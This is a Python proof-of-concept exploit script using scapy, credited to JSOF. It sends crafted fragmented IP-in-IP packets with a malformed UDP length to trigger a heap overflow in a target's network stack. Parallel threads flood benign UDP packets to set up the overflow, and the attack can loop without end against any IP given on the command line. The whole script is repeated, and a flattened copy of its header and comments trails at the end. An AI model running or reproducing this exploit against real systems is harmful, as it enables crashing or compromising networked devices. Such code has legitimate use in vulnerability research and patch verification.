'''/*******************************************************
 * Copyright (C) 2019-2020 JSOF LTD <EMAIL>>
 * 
 * 
 * this poc can not be copied and/or distributed and/or modified without the express
 * permission of <NAME>, JSOF 
 * Unauthorized copying of this file, via any medium is strictly prohibited
 *
 * Proprietary and confidential
 *
*******************************************************/
'''
#
# Sending malformed udp packets that trigger heap overflow bug.
# Bening udp are sent in order to make the udp receive queue non-empty when a malformed packet is being processed.
#
from scapy.all import *
import argparse
import threading
from common import iface_win_index_to_description

VERBOSE_LEVEL = 0

MALFORMED_THREAD_FLAG = False
BENIGN_THREAD_FLAG = False

MALFORMED_PAYLOAD = b'A'*1000
BENIGN_PAYLOAD = b'X'*50

sock = None

def vprint(*args, **kwargs):
    if VERBOSE_LEVEL > 0:
        print(*args, **kwargs)

def send_benign(iface, ip_dst, udp_dport, udp_sport, count):
    global BENIGN_THREAD_FLAG

    benign_udp = IP(dst=ip_dst)/UDP(sport=udp_sport, dport=udp_dport)/BENIGN_PAYLOAD
    if count > 0:
        vprint("[*] sending {} benign udp packets".format(count if count > 0 else "infinite"))
        for _ in range(count):
            sock.send(benign_udp)
    else:
        while True:
            sock.send(benign_udp)
            if BENIGN_THREAD_FLAG:
                break
    vprint("[*] -> finish benign")


def send_malformed(iface, ip_dst, udp_dport, udp_sport, count):
    global MALFORMED_THREAD_FLAG

    payload = MALFORMED_PAYLOAD
    iplen = 32
    encap_packet = IP(dst=ip_dst, len=iplen)
    encap_packet /= UDP(sport=udp_sport, dport=udp_dport, chksum=0, len=iplen-20)
    encap_packet /= payload

    frag1 = IP(dst=ip_dst, frag=0, flags=1, proto=4, id=0)
    frag1_data_len = 40
    frag1_data = bytes(encap_packet)[:frag1_data_len]
    frag1 /= frag1_data

    frag2 = IP(dst=ip_dst, frag=(frag1_data_len>>3), flags=0, proto=4, id=0)
    frag2 /= bytes(encap_packet)[frag1_data_len:]

    vprint("[*] sending {} malformed ip/udp packets".format(count if count > 0 else "infinite"))
    ip_id = 1
    it_num = 0
    while count <= 0 or it_num < count:
        frag1[IP].id = ip_id
        frag2[IP].id = ip_id

        sock.send(frag1)
        sock.send(frag2)

        it_num += 1
        ip_id = (ip_id + 1) % 0x10000

        if MALFORMED_THREAD_FLAG:
            break
    
    vprint("[*] -> finish malformed")


def main(iface, ip_dst, udp_dport, udp_sport, malformed_count, benign_count, thread_count, timeout):
    global MALFORMED_THREAD_FLAG
    global BENIGN_THREAD_FLAG

    vprint("[+] interface: ", iface)
    vprint("[+] ip_dst: ", ip_dst)
    vprint("[+] udp destination port: ", udp_dport)
    vprint("[+] udp source port: ", udp_sport)

    vprint("[*] starting {} benign threads".format(thread_count))
    bthreads = []
    for _ in range(thread_count):
        t = threading.Thread(target=send_benign,
                             args=(iface, ip_dst, udp_dport, udp_sport, benign_count))
        bthreads.append(t)
        t.start()

    vprint("[*] starting malformed thread")
    malformed_thread = threading.Thread(target=send_malformed,
                                        args=(iface, ip_dst, udp_dport, udp_sport, malformed_count))
    malformed_thread.start()

    if timeout > 0:
        time.sleep(timeout)
        MALFORMED_THREAD_FLAG = True
        BENIGN_THREAD_FLAG = True

    for t in bthreads:
        t.join()
    malformed_thread.join()
    vprint("[*] finish!")


if __name__ == '__main__':
    conf.verb = 0 # make scapy silent

    parser = argparse.ArgumentParser()
    parser.add_argument('ip_dst', help="destination IP address")
    parser.add_argument('udp_dport', type=int, default=7, nargs='?',
                        help="destination UDP port (Default: 7 (echo))")
    parser.add_argument('udp_sport', type=int, default=7, nargs='?',
                        help="source UDP port (Default: 7 (echo))")
    parser.add_argument('-t', '--thread-count', dest='thread_count', type=int, default=3,
                        help="benign thread count (Default: 3)")
    parser.add_argument('-mc', '--malformed-count', dest='malformed_count', type=int, default=0,
                        help="how many malformed packets to send? (Default: 0, infinite)")
    parser.add_argument('-bc', '--benign-count', dest='benign_count', type=int, default=0,
                        help="how many benign packets to send? (Default: 0, infinite)")
    parser.add_argument('-i', '--iface', default=None, nargs='?',
                        help="interface name as shown in scapy's show_interfaces() function")
    parser.add_argument('-og', '--override-gateway', dest='gw', default=None, const='use_ip_dst', type=str, nargs='?',
                        help='override gateway for ip_dst in scapy routing table')
    parser.add_argument('-v', '--verbose', default=0, action='count',
                        help="how much output you'd like")
    parser.add_argument('--timeout', dest='timeout', type=int, default=10,
                        help='timeout to break infinite loop (default: 10), put 0 to disable')
    args = parser.parse_args()

    VERBOSE_LEVEL = args.verbose

    gw = None
    if args.gw:
        if args.gw == 'use_ip_dst':
            gw = args.ip_dst
        else:
            gw = args.gw
    if gw:
        conf.route.add(host=(args.ip_dst), gw=gw)

    iface = args.iface
    if iface is not None and iface.isdigit():
        iface = iface_win_index_to_description(int(iface))

    sock = conf.L3socket(iface=iface)
    main(iface,
        args.ip_dst,
        args.udp_dport,
        args.udp_sport,
        args.malformed_count,
        args.benign_count,
        args.thread_count,
        args.timeout)
'''/*******************************************************
 * Copyright (C) 2019-2020 JSOF LTD <EMAIL>>
 * 
 * 
 * this poc can not be copied and/or distributed and/or modified without the express
 * permission of <NAME>, JSOF 
 * Unauthorized copying of this file, via any medium is strictly prohibited
 *
 * Proprietary and confidential
 *
*******************************************************/
'''
#
# Sending malformed udp packets that trigger heap overflow bug.
# Bening udp are sent in order to make the udp receive queue non-empty when a malformed packet is being processed.
#
from scapy.all import *
import argparse
import threading
from common import iface_win_index_to_description

VERBOSE_LEVEL = 0

MALFORMED_THREAD_FLAG = False
BENIGN_THREAD_FLAG = False

MALFORMED_PAYLOAD = b'A'*1000
BENIGN_PAYLOAD = b'X'*50

sock = None

def vprint(*args, **kwargs):
    if VERBOSE_LEVEL > 0:
        print(*args, **kwargs)

def send_benign(iface, ip_dst, udp_dport, udp_sport, count):
    global BENIGN_THREAD_FLAG

    benign_udp = IP(dst=ip_dst)/UDP(sport=udp_sport, dport=udp_dport)/BENIGN_PAYLOAD
    if count > 0:
        vprint("[*] sending {} benign udp packets".format(count if count > 0 else "infinite"))
        for _ in range(count):
            sock.send(benign_udp)
    else:
        while True:
            sock.send(benign_udp)
            if BENIGN_THREAD_FLAG:
                break
    vprint("[*] -> finish benign")


def send_malformed(iface, ip_dst, udp_dport, udp_sport, count):
    global MALFORMED_THREAD_FLAG

    payload = MALFORMED_PAYLOAD
    iplen = 32
    encap_packet = IP(dst=ip_dst, len=iplen)
    encap_packet /= UDP(sport=udp_sport, dport=udp_dport, chksum=0, len=iplen-20)
    encap_packet /= payload

    frag1 = IP(dst=ip_dst, frag=0, flags=1, proto=4, id=0)
    frag1_data_len = 40
    frag1_data = bytes(encap_packet)[:frag1_data_len]
    frag1 /= frag1_data

    frag2 = IP(dst=ip_dst, frag=(frag1_data_len>>3), flags=0, proto=4, id=0)
    frag2 /= bytes(encap_packet)[frag1_data_len:]

    vprint("[*] sending {} malformed ip/udp packets".format(count if count > 0 else "infinite"))
    ip_id = 1
    it_num = 0
    while count <= 0 or it_num < count:
        frag1[IP].id = ip_id
        frag2[IP].id = ip_id

        sock.send(frag1)
        sock.send(frag2)

        it_num += 1
        ip_id = (ip_id + 1) % 0x10000

        if MALFORMED_THREAD_FLAG:
            break
    
    vprint("[*] -> finish malformed")


def main(iface, ip_dst, udp_dport, udp_sport, malformed_count, benign_count, thread_count, timeout):
    global MALFORMED_THREAD_FLAG
    global BENIGN_THREAD_FLAG

    vprint("[+] interface: ", iface)
    vprint("[+] ip_dst: ", ip_dst)
    vprint("[+] udp destination port: ", udp_dport)
    vprint("[+] udp source port: ", udp_sport)

    vprint("[*] starting {} benign threads".format(thread_count))
    bthreads = []
    for _ in range(thread_count):
        t = threading.Thread(target=send_benign,
                             args=(iface, ip_dst, udp_dport, udp_sport, benign_count))
        bthreads.append(t)
        t.start()

    vprint("[*] starting malformed thread")
    malformed_thread = threading.Thread(target=send_malformed,
                                        args=(iface, ip_dst, udp_dport, udp_sport, malformed_count))
    malformed_thread.start()

    if timeout > 0:
        time.sleep(timeout)
        MALFORMED_THREAD_FLAG = True
        BENIGN_THREAD_FLAG = True

    for t in bthreads:
        t.join()
    malformed_thread.join()
    vprint("[*] finish!")


if __name__ == '__main__':
    conf.verb = 0 # make scapy silent

    parser = argparse.ArgumentParser()
    parser.add_argument('ip_dst', help="destination IP address")
    parser.add_argument('udp_dport', type=int, default=7, nargs='?',
                        help="destination UDP port (Default: 7 (echo))")
    parser.add_argument('udp_sport', type=int, default=7, nargs='?',
                        help="source UDP port (Default: 7 (echo))")
    parser.add_argument('-t', '--thread-count', dest='thread_count', type=int, default=3,
                        help="benign thread count (Default: 3)")
    parser.add_argument('-mc', '--malformed-count', dest='malformed_count', type=int, default=0,
                        help="how many malformed packets to send? (Default: 0, infinite)")
    parser.add_argument('-bc', '--benign-count', dest='benign_count', type=int, default=0,
                        help="how many benign packets to send? (Default: 0, infinite)")
    parser.add_argument('-i', '--iface', default=None, nargs='?',
                        help="interface name as shown in scapy's show_interfaces() function")
    parser.add_argument('-og', '--override-gateway', dest='gw', default=None, const='use_ip_dst', type=str, nargs='?',
                        help='override gateway for ip_dst in scapy routing table')
    parser.add_argument('-v', '--verbose', default=0, action='count',
                        help="how much output you'd like")
    parser.add_argument('--timeout', dest='timeout', type=int, default=10,
                        help='timeout to break infinite loop (default: 10), put 0 to disable')
    args = parser.parse_args()

    VERBOSE_LEVEL = args.verbose

    gw = None
    if args.gw:
        if args.gw == 'use_ip_dst':
            gw = args.ip_dst
        else:
            gw = args.gw
    if gw:
        conf.route.add(host=(args.ip_dst), gw=gw)

    iface = args.iface
    if iface is not None and iface.isdigit():
        iface = iface_win_index_to_description(int(iface))

    sock = conf.L3socket(iface=iface)
    main(iface,
        args.ip_dst,
        args.udp_dport,
        args.udp_sport,
        args.malformed_count,
        args.benign_count,
        args.thread_count,
        args.timeout)
/*******************************************************
  * Copyright (C) 2019-2020 JSOF LTD <EMAIL>>
  * 
  * 
  * this poc can not be copied and/or distributed and/or modified without the express
  * permission of <NAME>, JSOF 
  * Unauthorized copying of this file, via any medium is strictly prohibited
  *
  * Proprietary and confidential
  *
 *******************************************************/ # # Sending malformed udp packets that trigger heap overflow bug. # Bening udp are sent in order to make the udp receive queue non-empty when a malformed packet is being processed. # # make scapy silent